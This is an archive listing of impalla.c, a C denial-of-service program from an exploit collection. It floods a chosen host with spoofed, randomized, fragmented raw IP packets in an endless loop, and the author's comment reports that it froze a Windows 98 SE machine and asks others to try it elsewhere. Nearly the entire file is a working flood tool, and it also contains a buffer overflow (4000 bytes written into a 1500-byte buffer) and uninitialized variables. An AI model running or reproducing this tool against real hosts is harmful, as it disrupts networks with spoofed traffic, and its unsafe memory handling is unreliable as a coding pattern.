home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / impalla.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  90 lines

  1. /*
  2.   Author: Auriemma Luigi <kaino3@genie.it>
  3.  
  4. Some months ago I have modified (very very casually for learn a bit of C)
  5. a program that send fragmented IGMP type 8 packets to Windows host; now my
  6. DoS program send random packets type, from random source. I have
  7. tried the DoS program only on a Win98SE and it freeze for all the DoS
  8. time.
  9. Now I have posted the source code for have comments, suggestions and
  10. reports from you, and I hope that someone want to test it on other machine
  11. and systems.
  12.  
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <time.h>
  19. #include <netdb.h>
  20. #include <netinet/in.h>
  21. #include <netinet/in_systm.h>
  22. #include <netinet/ip.h>
  23. #include <sys/socket.h>
  24.  
  25. struct pack
  26. {
  27.   unsigned char pack_type;
  28.   unsigned char pack_code;
  29.   unsigned short pack_cksum;
  30. };
  31. #define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}
  32. u_long  resolve(char *);
  33.  
  34. int main(int argc, char *argv[])
  35. {
  36.   int nsock, ctr, f;
  37.   char *pkt, *data;
  38.   struct ip *nip;
  39.   struct pack *npack;
  40.   struct sockaddr_in s_addr_in;
  41.   setvbuf(stdout, NULL, _IONBF, 0);
  42.   if(argc != 2)
  43.     ERROR("usage: impalla <host>");
  44.   if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  45.     ERROR("could not create raw socket");
  46.   pkt = malloc(1500);
  47.   if(!pkt)
  48.     ERROR("could not allocate memory");
  49.   memset(&s_addr_in, 0, sizeof(s_addr_in));
  50.   memset(pkt, 0, 1500);
  51.   nip = (struct ip *) pkt;
  52.   npack = (struct pack *) (pkt + sizeof(struct ip));
  53.   data = (char *)(pkt + sizeof(struct ip) + sizeof(struct pack));
  54.   memset(data, ctr*f, 1500-(sizeof(struct ip) + sizeof(struct pack)));
  55.   s_addr_in.sin_addr.s_addr = resolve(argv[1]);
  56.   nip->ip_v  = 4;
  57.   nip->ip_hl  = 5;
  58.   nip->ip_tos  = 0x8;
  59.   nip->ip_ttl  = 255;
  60.   nip->ip_sum  = 0;
  61.   nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
  62.   nip->ip_src.s_addr = s_addr_in.sin_addr.s_addr;
  63.   npack->pack_cksum = 0;
  64.   npack->pack_type = 0;
  65.   npack->pack_code = 0;
  66.   while (1)
  67.   {
  68.     memset(data, rand(), 4000);
  69.     nip->ip_src.s_addr = rand();
  70.     nip->ip_p = rand();
  71.     nip->ip_id = rand();
  72.     nip->ip_len  = rand();
  73.     nip->ip_off  = htons(IP_MF);
  74.     sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
  75.     sizeof(s_addr_in));
  76.   }
  77. }
  78. u_long resolve(char *host)
  79. {
  80.   struct hostent *he;
  81.   u_long ret;
  82.   if(!(he = gethostbyname(host)))
  83.   {
  84.     herror("gethostbyname()");
  85.     exit(-1);
  86.   }
  87.   memcpy(&ret, he->h_addr, sizeof(he->h_addr));
  88.   return ret;
  89. }
  90. /*                www.hack.co.za           [18 April 2001]*/